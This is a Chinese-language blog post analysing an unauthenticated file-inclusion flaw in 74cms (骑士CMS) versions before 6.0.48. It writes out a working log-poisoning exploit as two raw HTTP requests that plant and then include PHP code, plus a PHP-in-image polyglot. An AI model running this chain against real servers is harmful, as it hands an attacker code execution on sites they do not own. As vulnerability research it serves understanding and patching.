骑士cms < 6.0.48任意文件包含漏洞简记

0x00 漏洞简介

骑士CMS是一套基于PHP+MYSQL的免费网站管理系统。骑士CMS官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士CMS某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

上引自阿里云发的安全公告,实际上这个漏洞底层是文件包含漏洞,所以自我理解定位成任意文件包含漏洞更为妥当。

影响版本

骑士CMS < 6.0.48

漏洞等级:

高危

 

0x01 漏洞细节

panda师傅发在先知的文章(https://xz.aliyun.com/t/8520)说的挺清晰的了,盗张图

 

细节我就不一一细说,主要解答一下根据panda师傅文章遇到的几个问题点:(以下复现环境在windows+phpstudy php5.4.5环境下)

1,是否一定需要注册一个账号才可以利用?

2,是否一定要包含骑士模版文件的标签才能解析,为什么?

答:

不用,可以用日志文件进行包含,并且并不需要骑士模板文件标签。

 

日志文件包含这个思路记得是在p神的代码审计圈子里看到其他师傅说的,当然骑士基于tp二开的cms,不难想到利用日志的方式进行包含。利用日志包含,好处是减少了注册登陆上传文件的步骤,减少限制条件(虽然作为人才系统,普通用户注册登陆是必然开放的),利于自动化脚本的编写。

由于骑士cms默认不开debug,日志记录是error级别的,需要报错才能把信息记录到日志文件,而其实我们的漏洞点就是一个很出色的报错点,当模板文件不存在的时候会将模板路径写进日志。

一开始的思路是直接把写到图片的东西写到日志里面去,但发现行不通

利用的payload:

<?php phpinfo(); ?>
<qscms:company_show 列表名="info" 企业id="$_GET['id']"/  

标签中的冒号会被转成/

 

payload打出去包含之后没有返回,一开始以为是没有执行成功。

后来通过跟踪发现,其实是包含成功了(漏洞首先是将我们传进去对应路径的文件进行了模版解析,之后保存到cache目录下的php文件,最后包含的是生成在cache目录下的php文件)

代码都是写进去了的。

 

但为什么包含之后没有输出呢?

主要是因为ThinkPHP/Library/Think/View.class.php 进行了缓存导致没法输出

 

所以我们在代码后面加一个die();就可以拿到输出了。

测试之后也发现骑士cms的标签在不在与否都没有任何影响,代码里面也没有看到有明显限制需要有骑士cms标签的代码。

所以最终的利用,直接用日志进行包含即可

第一步发送日志:
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.0.9

variable=1&tpl=<?php phpinfo();die();?>

第二步包含日志:(路径也不需要绝对路径,相对路径足以)
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.0.9

variable=1&tpl=./data/Runtime/Logs/Home/20_11_23.log

 

 

 

题外话,在windows phpstudy的特定一些版本下也可以用bmp,参考我之前发的文章:https://www.cnblogs.com/r00tuser/p/11312212.html

#define test_width 16
#define test_height 7
<?php phpinfo();die();?>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

  

0x02 总结

很久不发blog了,除草记录文。

posted @ 2020-11-23 23:57  水泡泡  阅读(3010)  评论(0编辑  收藏  举报